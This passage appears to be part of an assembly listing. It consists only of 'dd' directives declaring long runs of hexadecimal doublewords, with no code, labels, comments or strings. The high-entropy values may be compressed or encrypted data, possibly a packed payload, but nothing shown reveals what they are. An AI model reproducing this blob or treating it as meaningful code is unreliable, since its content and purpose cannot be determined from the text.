		dd 0F6A45CDBh, 5DE11417h, 1DB9E23Eh, 0FCDA0575h, 1E7AC10Fh
		dd 0BE2AA916h, 2B3FA6FAh, 0F0FAAF0h, 0FF141069h, 6CE81666h
		dd 72AA2582h, 12423AACh, 0EF928743h, 31674F08h,	7A26E238h
		dd 880A9099h, 0E92ECB10h, 2618FA9Ch, 9E5D2D23h,	637497A1h
		dd 0A6DF0490h, 6741E84h, 8040348Dh, 26F2F98h, 0B8B6A60Ah
		dd 4E8797B9h, 0D9DB0962h, 0D91C750Fh, 0BE10B42Ah, 0C498B208h
		dd 5AEC6839h, 7BEAC25Fh, 3AEB1019h, 6517DB52h, 0B01D2257h
		dd 140C4A19h, 8D1DEB05h, 18414004h, 0B08534FFh,	89AB83A8h
		dd 0C0C2B1Fh, 2DD17C95h, 1C611FF6h, 84315753h, 4A2EA27Fh
		dd 0DD484A4Bh, 0A7543B0h, 9E6A3A96h, 56D7EB1Eh,	3CA1A8F1h
		dd 3C2831FBh, 290633C4h, 4D6520F3h, 6DB84195h, 0A2B7419h
		dd 7E17D403h, 60E3761h,	0FA2B327Fh, 4851CC54h, 0EB65988Fh
		dd 644BD16h, 441F1464h,	13220723h, 8E089A8h, 27914859h
		dd 7572958h, 0B2BB5E12h, 12295242h, 0C44120B9h,	870FC13Bh
		dd 6F81B56Ah, 833F4FB3h, 7722FB30h, 4E1E745Ah, 0E9D8C88Bh
		dd 0E3493DEAh, 6992FEDh, 0F1511822h, 240A8313h,	50EF850Fh
		dd 836DA84Bh, 0A84D7EAh, 11CD2274h, 84C3085Ch, 0B9212842h
		dd 15C8ED28h, 22A844AFh, 81B02CA5h, 0EFC61CF0h,	67AE2574h
		dd 6C11061Bh, 50849CA6h, 0AB84218Ch, 0EB151D49h, 750F87Dh
		dd 677B9076h, 0E46F0F6Bh, 0B9D22780h, 77B1985Bh, 5874056Dh
		dd 0BBDE888Dh, 11F93E47h, 0B60F60D0h, 2F011C89h, 24063F41h
		dd 0E2ED98Dh, 2B586828h, 7803D68h, 0DA0C3617h, 0FC2F0F6Ah
		dd 287E8494h, 212C6C42h, 7E0720D0h, 69E4221Ah, 4161135Ch
		dd 60053007h, 0F90507A1h, 38C51740h, 5AE8D7D0h,	54909D24h
		dd 1CFE5013h, 15E714AEh, 0DB8E54Ah, 0DF73C31Eh,	9F09228Ah
		dd 896EA644h, 2491127Ch, 91754898h, 90E70C0h, 9D030201h
		dd 5060458h, 708CC06h, 42B10806h, 7D038C89h, 2493AE4Ch
		dd 24357E2Fh, 2A14CD27h, 0DCC194D4h, 38766E34h,	89C7A04Ah
		dd 7289FC5Bh, 99CAAD2Bh, 0AF05DC08h, 0E3680088h, 3951A96Fh
		dd 0FD302D03h, 0C51454A2h, 1146FC46h, 21EA3D12h, 12B785D9h
		dd 0BDCBF733h, 86A38ED9h
		dd 78B58D17h, 468B0773h, 4C744808h, 32813C06h, 1E042802h
		dd 0B2F9140Fh, 0B31F3AE0h, 32286E91h, 2B0781F7h, 46FA2E21h
		dd 86047E35h, 9D6DF821h, 0E09FE1ECh, 0FD49BA1h,	82775Eh
		dd 15590623h, 3672FFE8h, 0A4FC7629h, 0D9C8C43Ah, 140A383Fh
		dd 74E94BAAh, 0FA6ED57h, 0E0FFFBAEh, 547283Ah, 7D3B24C6h
		dd 638CA306h, 7412973Dh, 8AC150FDh, 94B74CD5h, 0F93B140Fh
		dd 0F95B5E16h, 71EB4BA2h, 7E850C7Fh, 0F4DF70F8h, 0EA78C590h
		dd 48F7D397h, 0C7FF5CA5h, 1ADA296h, 4C5CBC46h, 87102425h
		dd 576A380Bh, 3E963402h, 0FD2A4ED7h, 8D4158F5h,	504095Ah
		dd 8776049Fh, 8EAE05E2h, 6ECC10CAh, 20226184h, 0AA52EB18h
		dd 0B44D07A6h, 0FEBE6C09h, 1032A7C7h, 649C88B4h, 3882352Fh
		dd 2BB2CA20h, 5423281Fh, 0D3264C4h, 251EC61Ah, 0BDFC35Dh
		dd 1E09D7D5h, 0F7C843FFh, 575553D0h, 8B02C256h,	0DE55383Dh
		dd 0ABFF97BFh, 3C6CC127h, 0F0E0B528h, 570F6D7h,	19AB060h
		dd 1575E88Bh, 0B0D8016h, 0F6FA5C51h, 634103Fh, 0AD98A359h
		dd 5572CF20h, 340935AAh, 0A1346272h, 5D5F0F81h,	1286775Bh
		dd 65235720h, 96A2845Ch, 6A7A8158h, 24101552h, 1FE01B62h
		dd 283D81E9h, 8BB979Eh,	91A57FF9h, 46216554h, 67F04DD0h
		dd 6F410FFh, 80612925h,	1EE8E454h, 0AAD23528h, 7FFCCFD2h
		dd 0EDA8F051h, 53026A2Eh, 5F245491h, 106C4591h,	3B28CED0h
		dd 0DF0251A9h, 35E28607h, 98B6FC64h, 55FF4850h,	7E97F390h
		dd 8DF8024Ah, 32FE3F44h, 96BA4514h, 53579305h, 980B1957h
		dd 15C4F7D6h, 0E4F513A2h, 0F3B5482Fh, 265D129Ah, 7115AA9Ch
		dd 0D244D259h, 5E252C90h, 91B9E3EAh, 0E8140DD4h, 49444588h
		dd 93FE2CD7h, 0F93F9EC9h, 11F02CC6h, 362C6F16h,	2FF94253h
		dd 0B1DA2918h, 0FC13143Ah, 27D2F64Ch, 49D492F6h, 514A05Ch
		dd 0C1DE3B90h, 62FB81EBh, 3558782Eh, 25E83E89h,	0F0719807h
		dd 2C6880FDh, 27B9A1D0h, 0DDEF0B4Dh, 0DBFD3924h, 0F8F210BCh
		dd 6DEB2482h, 39475FC0h, 72147D0Bh, 8D92E05Ch, 768DA070h
		dd 0B9CAB210h, 28B80D87h, 3B91787Fh, 400DC524h,	0C2041B34h
		dd 0C68EC06h, 1FF35AA2h, 5B8D17CCh, 2CCB9790h, 1A861609h
		dd 762FB43Bh, 55DC09ACh, 14E434C1h, 0FA82AA64h,	208BF124h
		dd 0B55390BCh, 0B2D5158Bh, 59597D60h, 3EDF3B8Ch, 4019B191h
		dd 2674C72Bh, 0F8E4D2BDh, 1C86C93Bh, 53583066h,	14B7411h
		dd 3822CF33h, 2F58E719h, 133917C4h, 64854311h, 0F5D87A27h
		dd 2F0359EBh, 2676EC5Eh, 5382FA20h, 1CB008BEh, 8702021h
		dd 47C51F35h, 0D807C909h, 274EED78h, 0E0218476h, 0CB0E106Fh
		dd 92213318h, 0A05436B0h, 1E58EC22h, 0F84B421h,	9924BB98h
		dd 63BF246Eh, 78B7FD9Dh, 269993C4h, 63DCF642h, 7BCDC00h
		dd 72EC65C6h, 9CCF0E8h,	4D4DACF8h, 1450DAFCh, 0DC12C751h
		dd 57505340h, 0F6E81A2Dh, 42044D46h, 0AA6C383Ah, 4C086993h
		dd 0EE4159FDh, 43674412h, 0A0048828h, 2356427Eh, 1558B21Fh
		dd 51CD0A1Bh, 12320B6Ah, 0AF6F89ACh, 0B07FCCCh,	79D10352h
		dd 1AEB1C34h, 557175Fh,	0F3AA3036h, 71F00842h, 0E00C9543h
		dd 15FC8B27h, 0A3091492h, 1CF00810h, 0F0BF5644h, 0F64BAD08h
		dd 5370E68Ch, 0E021310Ch, 0CDACDB93h, 0A3DE2843h, 8A0AF627h
		dd 642B0870h, 15B032CCh, 88535A15h, 32C0E404h, 32101588h
		dd 10496EB7h, 301B4049h, 6CB1128h, 0E510DF07h, 0F4EE13EBh
		dd 0E65F314Ah, 3F71A1BFh, 0AB8AB035h, 9C2AE6A7h, 0A1374251h
		dd 794CF5E1h, 8C438E14h, 0B9500F21h, 11CCA7F5h,	6778C81Ch
		dd 8EF9F8E4h, 8E205358h, 0AFBC0CE3h, 53661428h,	543918B2h
		dd 4485910Ch, 8E2C283Bh, 69213C43h, 230F1351h, 0C8249030h
		dd 0F4E2543Eh, 2124478Eh, 0A8169014h, 88F443C0h, 3104E428h
		dd 211F1BEBh, 73344495h, 0C322D4F0h, 6D5228BCh,	0E53CC853h
		dd 982B48DCh, 53425654h, 0C8903823h, 1A51E1DFh,	904C230Fh
		dd 5445C8B4h, 91F3EF23h, 64A0C840h, 0C7102A1Dh,	3944E2F3h
		dd 47F20C8Ch, 0B09CC81Ah, 5B5F2050h, 6F2CEB26h,	2A525451h
		dd 658413C8h, 0B3FAC894h, 6CE814FEh, 92FE9730h,	26510990h
		dd 0DF6A2B4Bh, 2C1846B9h, 4346D735h, 1A408914h,	0D5F94EE8h
		dd 51B742FDh, 0E8253235h, 9420385Ah, 0F810C972h, 18257F4Ch
		dd 0FD3B9CF3h, 25D730Fh, 15746214h, 0A3ECFFBCh,	3C74F409h
		dd 5A39663Dh, 1DDC250h,	0C2BC3959h, 84725C10h, 88371A14h
		dd 8CF2B9F0h, 38C4715Fh, 7B42E1EAh, 890117F1h, 16A16376h
		dd 459A372Ah, 40F41137h, 6419D412h, 78416C1Eh, 0C7F48086h
		dd 45FC04h, 5D3B43F8h, 0EBC37214h, 5468243Bh, 158AA133h
		dd 0CA461073h, 0C42711Ch, 0B7254C57h, 0FC0EFEFEh, 66F46981h
		dd 910E4551h, 0E1D3073Bh, 0FCCB1CF7h, 49297142h, 0F1EE7858h
		dd 33201484h, 0F425C2C0h, 5EF18ABAh, 0C4085808h, 109432A1h
		dd 770C7BF8h, 0E4F745Bh, 0CF40EA05h, 3148080Ah,	22D0321Fh
		dd 13A0353Fh, 850F570Ch, 316849C6h, 0E9D8756Ch,	540A42DDh
		dd 2C08D311h, 21C94284h, 88BF1018h, 21B54408h, 0AB1274F0h
		dd 7CC2072Bh, 0C82D28B1h, 5C77BE38h, 0D39C61Ah,	68787585h
		dd 8F1C08D8h, 0A20C0A4h, 90228542h, 0F67EEB3Bh,	0F97707A1h
		dd 29700840h, 0BFAEC5B9h, 270D30BFh, 0DC17AD2Dh, 84CC4852h
		dd 0C60B0615h, 0C432750Eh, 4C497365h, 70F2E84h,	47ACC845h
		dd 2050E43Eh, 0A1CA2D37h, 0F69D2B2Eh, 0A1F5917h, 0A5CA5725h
		dd 3043E029h, 0DD1A1DA1h, 13074210h, 78724041h,	0F0D88E2Eh
		dd 310FB8CDh, 9A63C27h,	0AF17F7E8h, 760BF430h, 0BCA2AA9Bh
		dd 65AA564Bh, 0F86B48F5h, 3E920324h, 0BE5BD8AAh, 62EE79E5h
		dd 24FEF830h, 10E3A989h, 1042113Ch, 0E8315631h,	0A45617FCh
		dd 433C8C61h, 3100F7Bh,	0D01274C0h, 0D76A8B25h,	645F8544h
		dd 0BE142F30h, 0B572BD98h, 7C82BC79h, 0C8171397h, 8D71290Ch
		dd 0DF5130A1h, 947C27C4h, 59C9CA28h, 0F2E2A729h, 0EE392A24h
		dd 0C68B2731h, 9E6DF92Bh, 6A9CA5EFh, 41151F8h, 380E6511h
		dd 5F025F23h, 9316F83Eh, 70088022h, 13104336h, 31092974h
		dd 736C550Ch, 4D830601h, 4EB02F8h, 0FD1CC438h, 0AE556756h
		dd 0C932F640h, 2AF011C0h, 653F74EEh, 5029056Bh,	6AD38C05h
		dd 94AF494Bh, 8DA2FB86h, 0AD25FF4Fh, 0D4718BAh,	0B936ABF3h
		dd 2126B388h, 0B01DFCB4h, 697409A1h, 47AE66F7h,	5A592C61h
		dd 76046806h, 3DE82D12h, 0FD536E91h, 74D0920Fh,	7A6AE7AEh
		dd 402D2D48h, 6A8C74Ch,	6C950128h, 431551F9h, 6E9DE17Bh
		dd 0BFD702F8h, 2E8ACCC9h, 424B53D6h, 0F512FEF2h, 58B78FCCh
		dd 0A644C8BAh, 41412B2h, 0CC0C3288h, 0B5FF180Dh, 86A55DCh
		dd 2ED372A4h, 0D2F89A0Dh, 9224A808h, 207415FEh,	0B95F0C8Dh
		dd 0C4297B0Bh, 35AA2D43h, 0D0300E62h, 4D0809FDh, 0B3A4912h
		dd 1F4BF9DFh, 21751668h, 3A15A2A7h, 0FAB0C861h,	0ABC70112h
		dd 46EE4388h, 0D612A814h, 0B8415EBh, 8BE83D30h,	6CB19F19h
		dd 19F0591Dh, 797FFAE6h, 4639925Ah, 0B1BE91Bh, 0E6837284h
		dd 7E1F0FF9h, 516800B6h, 89F922B5h, 0EC7B40A5h,	0B9088CCDh
		dd 0F67AE1E9h, 6EFA27CBh, 7B984572h, 2621A5B3h,	0A243689Bh
		dd 0F72D4A8Ch, 0C294AA69h, 92517F32h, 14E3E884h, 23C2E3AFh
		dd 0AE2C34F8h, 86D061E3h, 29E83E40h, 0B2CBED78h, 1892F032h
		dd 150DD655h, 0DA841DF4h
		dd 0C4BE25FDh, 0AB3E2485h, 0B17644E0h, 0F189B7Ah, 8281C422h
		dd 1160375Fh, 0A1959018h, 254371B0h, 1220C1ECh,	0F422FC2Bh
		dd 2F5EEDBAh, 8AFD090Ch, 757A174Dh, 16642BDAh, 178B5626h
		dd 48E9093Dh, 0F1DDC23Ah, 0C3ADAFh, 0A0F11492h,	21A3772Dh
		dd 0C25DB0Ch, 74E8F2Bh,	0DCB04DDAh, 0C216680Dh,	1EE9E852h
		dd 0F2A4417Ch, 7314F5A5h, 44188881h, 1DDEE834h,	343E04C7h
		dd 4FEC22C2h, 571C6A83h, 221922E1h, 39F65435h, 31643531h
		dd 0BC60267Eh, 4DFC9713h, 0C2AB52C5h, 270877A8h, 1818FB0Bh
		dd 0A83B46B2h, 0A6DA7C26h, 5F53528Eh, 596BB98Ch, 3BA1BDECh
		dd 49EC7E03h, 37B87E68h, 0DAF2A782h, 5D6A030h, 0A0E8167Eh
		dd 0F7DDFB13h, 14F6E47Eh, 3B471F03h, 0DAEA7CFEh, 0E4FC8B24h
		dd 58DB8CC9h, 0FC38D757h, 122CAA4Eh, 0C857A262h, 0AB34BE1Ch
		dd 0EC56FA88h, 7D8B26B6h, 11942111h, 21BB4267h,	3A3D640Ch
		dd 0CE7A4021h, 0C10C5377h, 4D12F885h, 0F37EF46Ah, 5F6879Ch
		dd 44842208h, 2D5B6D93h, 4E312EC4h, 302217F2h, 0B12C8A1h
		dd 3B17CBC5h, 48D44875h, 0B05689B7h, 4B505734h,	0F627EBBEh
		dd 0E8A1BFDFh, 11645194h, 496FBD83h, 728604E3h,	74451447h
		dd 221ECBC3h, 0F89F7C12h, 0EEBE4BE2h, 0E0F0024h, 0C863CF02h
		dd 5CEB8A8Ch, 0C60A4427h, 1081B6BBh, 85A184Ch, 84BE3E75h
		dd 51203C45h, 0AC2E7505h, 8052C850h, 1632344h, 117C2121h
		dd 0CA028F13h, 64BDD344h, 7A5470D8h, 773C6885h,	8A1614E3h
		dd 11BE840Ah, 16C1122Fh, 1C127F6Bh, 0A7DDEC56h,	5265C01h
		dd 480DD104h, 0F0CF939Ch, 8302C8BAh, 7664FE09h,	210A7025h
		dd 88887750h, 4580A0B1h, 0CC123E48h, 652904B9h,	1AEB0A5Ch
		dd 3F62DB25h, 5710D43Ah, 17312851h, 0EC1518C3h,	765E0D2Dh
		dd 25AF6E1Fh, 4E086AF9h, 3748212Bh, 2970E21Fh, 27507355h
		dd 0C090254Ch, 0A7D4DD8Ah, 8D187401h, 0FE62C886h, 9A3A934Bh
		dd 25EDBD9Ch, 6AA7259h,	8E8B0EEBh, 899531D4h, 0C27A8948h
		dd 0BAD68BDh, 14C61583h, 721BB547h, 0A90E3AC7h,	0C3BF048Dh
		dd 62D88514h, 107DF849h, 6A4873D6h, 32D10112h, 0D5BAC35Dh
		dd 0B88811CDh, 2AC4E5ACh, 6B2F4832h, 45EBDD10h,	0B0894680h
		dd 49642BB5h, 88AFE84Eh, 0CCD189DCh, 0D87C600Eh, 0B756066Ah
		dd 7FAD74DCh, 742DEE16h, 598ED5Fh, 0FCD44D8Bh, 0A492D28Bh
		dd 0A22D5B1h, 468E3E74h, 58F6D869h, 0B408BFC1h,	5410CC38h
		dd 97B65077h, 31310F5Eh, 0E008FF4Ch, 76BDA998h,	3AE843DDh
		dd 1325FD95h, 7AE26CDBh, 93A2A94Eh, 0BB0685EAh,	301C3AB7h
		dd 5DF22001h, 0F3EECEA6h, 8A505940h, 445FCC0Bh,	83C7121Bh
		dd 33B498A0h, 57D4ADCBh, 0D00F9AC7h, 901FD0FEh,	1B682277h
		dd 796E11F9h, 0DE425059h, 935957DCh, 4AC5406Ch,	1232BF27h
		dd 32DE57F8h, 68029E68h, 0D74142E2h, 3B893D5Bh,	0B83C8C7h
		dd 0A0044AEBh, 391ED659h, 0F7D3F47Dh, 4E7907CAh, 894A44B3h
		dd 0B25489BBh, 0DFE08438h, 0D3B4E84Bh, 0E85B810Dh, 4F0B7FABh
		dd 0A458A888h, 3DE91229h, 0C2A3DDFFh, 0A3F02017h, 0F8962DEDh
		dd 47A909D5h, 49E6A6A7h, 748A6D45h, 2F31EA07h, 552005EBh
		dd 0D0DC9703h, 0F9B3EC67h, 0F6AF850Bh, 7D14C921h, 867E004Ah
		dd 43FA3D13h, 19850FCFh, 6512995Dh, 0F80E802Fh,	0EC201E1Fh
		dd 42C3259Ch, 0A3C434A5h, 66530236h, 5F7B80A1h,	72CE197Ch
		dd 0E415304Bh, 6A17C65Ch, 74695801h, 5A4E7737h,	0EC93E994h
		dd 3CC46EB8h, 0ED054E7Bh, 66880F0Ch, 0CBB80D98h, 846C75BBh
		dd 6827200Dh, 1EA37AC8h, 0B7E834ACh, 0D21A7517h, 273CEC61h
		dd 131E617h, 41AF0CECh,	0EAC3756Ah, 3BFFD95Dh, 65ACB42Bh
		dd 95F2AE47h, 0B032066Ch, 4A997A53h, 0AD88DFAh,	7A60C4A0h
		dd 82981832h, 0A0AF0CF8h, 2A9A1A14h, 80771F79h,	0D37A3082h
		dd 42A7AF0Ch, 4536E570h, 48634208h, 0CE04D729h,	78C5C964h
		dd 0EC0664E0h, 0F1C9EA16h, 0F6BAD5D3h, 69C4FD1h, 49A9F57h
		dd 0F0126E44h, 0CBA37A74h, 0AA82732Dh, 42C6D0B6h, 28EB642Dh
		dd 0C7480ECEh, 48027551h, 1508A8B1h, 0A0843EEDh, 0A86A3411h
		dd 0B1E4C811h, 1F856960h, 0AE5908C6h, 0E994D344h, 69207DCDh
		dd 43DB2D33h, 8082A5C8h, 183EFB8Bh, 1032BFF8h, 7C018366h
		dd 5924FE47h, 1E8D6475h, 6A75E9C6h, 0EAD18F05h,	36968CEAh
		dd 0D08890A7h, 78906778h, 0CE191059h, 0EC91140Eh, 0CF088F37h
		dd 258E2068h, 4B6028C6h, 825876FCh, 0FBF889D8h,	25FE246Dh
		dd 7E9D1D46h, 0E2402431h, 3A107854h, 5B4C840Bh,	0A410B256h
		dd 21352416h, 5F571907h, 0E3C21175h, 0D8125AB2h, 71404E2Ah
		dd 5022055h, 0F84FB9FCh, 556C9F4h, 268A15C2h, 215C53C8h
		dd 9FE27D88h, 53421C12h, 5030E0E2h, 2077867Dh, 0A722184h
		dd 100EE059h, 5DC80A54h, 0F178E0E4h, 0E021E247h, 0D1678988h
		dd 85751F53h, 0BCA55310h, 0B19C42F3h, 880C7CD0h, 58D608EFh
		dd 38A82209h, 76D07C43h, 7A09B185h, 0C24E23A3h,	600A66E6h
		dd 5EE42226h, 0ED845749h, 8471ACBFh, 0E4D4D4B6h, 93AEA99h
		dd 65B3E7A8h, 889E1F43h, 84041175h, 21AA7BC8h, 360EAB4Eh
		dd 0B17B43F5h, 221BE1D3h, 4F5936Bh, 0A1917210h,	971C6C1Ch
		dd 41B3E504h, 0E96B34AEh, 1E00E1Fh, 5E98543Ch, 0FB80A791h
		dd 7F9A2F91h, 56F3BE06h, 9AE3C468h, 0F3F295BEh,	22EB366Ch
		dd 0E04286BCh, 97862529h, 0FBC8AF20h, 0BF1095B4h, 63517503h
		dd 3265A60Fh, 0F7E6F342h, 2143DABBh, 0DE0F1CBh,	0CCD13067h
		dd 203C07F2h, 5905659Fh, 6DD1C3FEh, 7585B082h, 34933D78h
		dd 427B8488h, 50290820h, 4C5F4C99h, 81CD8B4h, 85A922E3h
		dd 617C5319h, 0C8E046A6h, 9360493Eh, 0B8B55B40h, 0E10FC4B4h
		dd 0A4B939C2h, 84076817h, 110DC146h, 935CA93Bh,	0D1300CB2h
		dd 0C453BA9h, 5B58CCD5h, 0C9C50BBFh, 33CADFC4h,	48363E86h
		dd 0DD7C457Bh, 0DD38F8h, 448DED6Ah, 24A31237h, 8F4A7E24h
		dd 450A0147h, 11179E08h, 6A58003Dh, 68C72B74h, 3920B2C0h
		dd 2161A353h, 6D0827E8h, 74527FEFh, 1A6A7DB1h, 243EC91Bh
		dd 34143D6Ah, 1E041934h, 50C0726h, 1014D7CAh, 1D07F788h
		dd 0A1786503h, 11223956h, 0C41807E5h, 57104A44h, 295121DBh
		dd 1D25D226h, 68F30638h, 56094F49h, 0D707C1E8h,	0F49560ECh
		dd 3208C5AFh, 0A856FBFBh, 93BC7145h, 6BE8E6D6h,	9F4C588Eh
		dd 28D72E05h, 74A77F2h,	203794EAh, 5645EBF6h, 6DC535CCh
		dd 5E014F05h, 8D61D37Ch, 2EFE06F0h, 0ADAC33C8h,	0C3CAF36Bh
		dd 73F2588Eh, 0BF7C2D81h, 0E76385B7h, 42242C4Fh, 0DE5F5EC7h
		dd 4CBD3B8Ah, 0C9840400h, 0B8410175h, 22A1B9D3h, 25BD32Bh
		dd 315539Fh, 0CF778DD4h, 0F07D14AAh, 0D50E4534h, 5C0A9E09h
		dd 75D25AB1h, 0C58942D0h, 40BE562Eh, 1E76D631h,	0C148C28Bh
		dd 4A3C33FBh, 0D048A60Ch, 814A2310h, 3DC28112h,	5251614Fh
		dd 0C25D99E8h, 0C429B354h, 9BE903DEh, 8A537F01h, 46B6081Dh
		dd 0A0C9F2C3h, 0D28510EDh, 8A1C0376h, 0C3323904h, 410A9522h
		dd 0DA9CB40Dh, 0BF3E8686h, 0E4192ADCh, 2E5088D8h, 96A2277h
		dd 7DA86815h, 8847E176h, 0CC13B5A6h, 0E80DB930h, 0F106622Fh
		dd 0EB15851Dh, 8FC2EA21h, 66229090h, 0A99EFE89h, 3F08A323h
		dd 8117518Eh, 2645A920h, 9317614h, 93D60855h, 380C8A00h
		dd 0EA88CB32h, 0A8405006h, 9725B14h, 1B0BFCA9h,	0D0C2B489h
		dd 9F69E45Fh, 0F0BF47Ch
		dd 47DC4805h, 35689F3Dh, 0EB24EE7Ch, 0F7164A4Bh, 3C8FC9BFh
		dd 85B849FEh, 0F9A3868Dh, 4F1DCC10h, 831C2180h,	0EF16F4A6h
		dd 0D0A8DDBBh, 3C896F07h, 203166D0h, 0D8058FFh,	0D4221442h
		dd 6C0B5E5Fh, 0C9A54DC3h, 9F9E0470h, 15E827D6h,	0EC789F44h
		dd 6A3664Eh, 556DAB5Bh,	0E097A83Ah, 85437E84h, 0C4F81A16h
		dd 9723AA4Eh, 3C62ACC8h, 97619E6h, 1AD6BE5Eh, 562D2F12h
		dd 6057B055h, 9DAB15Eh,	65D5042Eh, 0DCD2E29Dh, 81244881h
		dd 771C23C6h, 0C91DFE48h, 243A52B0h, 2A215553h,	0E425B014h
		dd 0F33B09EDh, 0D67C737Eh, 4C6B7D62h, 2FA39033h, 0C879BE8Dh
		dd 0CABC3717h, 4703EAD7h, 0AE894501h, 0E0D0452Ah, 6A9C89Eh
		dd 0D4EF15CCh, 0FE2C86B3h, 10AB744Bh, 0D42221ABh, 0A1148840h
		dd 424DE006h, 8D0ADD6Dh, 1635D8B6h, 9A99BF1Fh, 775F1EE8h
		dd 5D5E178Bh, 101E245Bh, 0FEF5E884h, 0C361730Ah, 10E48A7h
		dd 12B8AF43h, 0D2E2E2E0h, 0AB7094FFh, 5D898001h, 884CBEFCh
		dd 1930F146h, 1A752708h, 39ECF950h, 7D973E4Ch, 0E58DF7Ch
		dd 49182967h, 3026039Eh, 43104B21h, 26ABBC11h, 0DFA742CFh
		dd 23B9F919h, 3B110BF7h, 81670954h, 0C1814065h,	0F9622747h
		dd 0E92686B8h, 0AAD2E43Fh, 312D8221h, 9A09EB3Bh, 42219111h
		dd 0FC612259h, 8A95D31h, 20606DCBh, 0AEB724B4h,	5E8A404h
		dd 88536CA5h, 0FC4BD320h, 7ECDCCFEh, 6CF21D4Bh,	6806F497h
		dd 0BA7EAC24h, 56027442h, 192DCD7Dh, 9438901Fh,	4E6958C8h
		dd 0DF22E114h, 0FFDAF3B1h, 1FF2FEFCh, 0D35F8BC6h, 62FD1AB5h
		dd 89ECF192h, 0C8138889h, 0DFC80C2Dh, 0C21383Bh, 0C8D490D0h
		dd 91FCBDD8h, 4242BEB0h, 6C541CBh, 403BBAEEh, 0FCE14BEBh
		dd 806062E1h, 128A2E0Ch, 59740154h, 0D52AF980h,	3F0A922Ch
		dd 5B0AA319h, 3A254C06h, 8FB062CAh, 0ABA1F65Bh,	50460A88h
		dd 0D2FE0812h, 18554E9Ch, 0D111EBF7h, 0E814152Dh, 4E8B12D0h
		dd 4346F386h, 0CF0E8A2Eh, 9EBA485h, 11205E0Ah, 0B2CAF728h
		dd 12130EF2h, 0CB3588B1h, 9350AE1h, 13745DF6h, 572509C9h
		dd 8AC91D9h, 0C04D6925h, 7210AF0h, 8040F87Dh, 0AEA16B39h
		dd 0BE410675h, 0A4CF90Ch, 8A2C600Fh, 66FB8019h,	2D396C5Dh
		dd 7907484Ch, 2D1C9FF1h, 718D2880h, 0FB498A01h,	3A06CCh
		dd 3C1C7DC8h, 3918745Dh, 133C92EFh, 3973A3ACh, 3A078A1Bh
		dd 40147CD9h, 89107FD8h, 0B98C3251h, 18FAF0F3h,	0C4037533h
		dd 55029247h, 197E7928h, 31F89AAAh, 8BCA8425h, 31C12BC8h
		dd 64F33BF9h, 0F9FF51BCh, 86C92643h, 87A4D6E8h,	6E98FF4Bh
		dd 969806FFh, 8A16EB02h, 42FA8010h, 0A3C40E25h,	6817752Ah
		dd 19A4A815h, 0D38B340Fh, 8EF64B97h, 0EFEBE20Fh, 0E568FF40h
		dd 80F8F281h, 3A118A24h, 0F81575D3h, 322DF918h,	9196A32h
		dd 5DC5F808h, 7221F0ACh, 4F427E2Dh, 6804070Bh, 0BA768DEBh
		dd 820D3663h, 0CC0E6E20h, 81030949h, 7D26EA75h,	36060F11h
		dd 975D44E8h, 65055339h, 9A8CA617h, 70C6750Dh, 0F50DA59Bh
		dd 13B7AAB4h, 0AFA4FA48h, 0CE899D35h, 1E43BD2Eh, 0D2A58DE0h
		dd 2A424587h, 72FFA24Bh, 3D529D1Bh, 79827F5Bh, 62D5562Ah
		dd 0F4E0E44Dh, 64C30878h, 812080E0h, 4BA70DEBh,	28F6DB22h
		dd 99F537Ah, 0A3783026h, 0F4B99AD4h, 4106A2A1h,	3EDFD81h
		dd 9EF405C1h, 1650E126h, 6D10F8C1h, 0A65C9E25h,	0C126B50h
		dd 6185D6D2h, 0A7434755h, 446C548Ah, 0FA8301F9h, 0F72D7204h
		dd 3E1DCD9h, 2B00747Fh,	470788D1h, 90FA7549h, 9FFEB778h
		dd 88100F4Ch, 0E26083CAh, 7402E90Ch, 0ABF33706h, 4A496C77h
		dd 5F7F2A8Bh, 0A6CCEA7Bh, 57DA8901h, 0C8899A25h, 6AD8104Dh
		dd 0D17280FBh, 0FE3BC603h, 0C120F576h, 7882240Fh, 0C7F78403h
		dd 1443A403h, 98A599DBh, 4A7208F9h, 24C50029h, 41553895h
		dd 0BA50DC92h, 0E950831Dh, 0E39D0C8Eh, 9C8E3C3h, 54508530h
		dd 4846DDD4h, 1190673Fh, 6099F8CCh, 9918C0Bh, 0D1230AB0h
		dd 12BA8D8Ah, 0F4BB0146h, 0AFDB02E7h, 0C6B42012h, 0CC5DC754h
		dd 498D8A85h, 262E522Ch, 0CC8376D0h, 5216A622h,	46322490h
		dd 1A854745h, 2F40388Ch, 91C0FCCh, 120C8914h, 4CFC2504h
		dd 0EC09F484h, 8E09818Ah, 8FD189E4h, 0E81122D3h, 2EEC12E9h
		dd 0E9F02291h, 912EF412h, 12E9F822h, 8D872EFCh,	3182E04h
		dd 0F8E4F003h, 144F0A91h, 9508CF1h, 1570895Ch, 0FA49D1F9h
		dd 219E9029h, 0C8FAC80Ch, 0ABA46812h, 0A30B6A0Eh, 748D062Ch
		dd 7C3AD031h, 0C8804939h, 0FD0D7024h, 88FCE4A1h, 4956D0F1h
		dd 9E66060Ah, 0A9F0E980h, 62F94490h, 55D8102Bh,	56D02286h
		dd 819E866h, 9306C13h, 3B9003DCh, 4E59E0DDh, 57424FB3h
		dd 98D11EB6h, 0E3A4D420h, 0EF0624EEh, 2C8C657Eh, 28A5902Ah
		dd 0AC384BB5h, 0EFACA1EEh, 4620AF49h, 8D19B25Ah, 0F84195Ch
		dd 9409918Ch, 0A4449C22h, 12B489ACh, 91682AC7h,	11C8741Ch
		dd 1444BA18h, 1048A48Bh, 8B0C44BAh, 0BA0848A4h,	0A48B0444h
		dd 2056989Eh, 0E80DE033h, 24F80922h, 7A98570Ch,	0A9B6B808h
		dd 0AB10E888h, 7214C884h, 0CC52B8B6h, 0A0489301h, 0F7088404h
		dd 3CA88CC2h, 3A3B02F8h, 0A2E0301h, 0C32674C0h,	25123C61h
		dd 1D87E4BCh, 0C310E8C1h, 19E30241h, 79112B20h,	3983FC03h
		dd 0C2B904C1h, 0D24436EFh, 0ACA4A18Bh, 0D10788D0h, 257940E0h
		dd 5FF8C2CCh, 28A1481h,	0E98B8C42h, 0DFE06341h,	0A80D6128h
		dd 68A0B266h, 0CAD2445Ch, 0C1C94484h, 0EB0296C1h, 905ACC8Ch
		dd 9044E34Dh, 0C80B3010h, 9750C0Dh, 0F70421C0h,	0E010C2E1h
		dd 140CDF53h, 747E1ED8h, 3142964h, 0A402C0Ah, 161B5BD3h
		dd 0E988AA55h, 2C3D1783h, 17B0381h, 0B6890F7Eh,	0E2A42A07h
		dd 0C92D5F66h, 8B0F005Dh, 7F61200Dh, 41048A36h,	0BD085830h
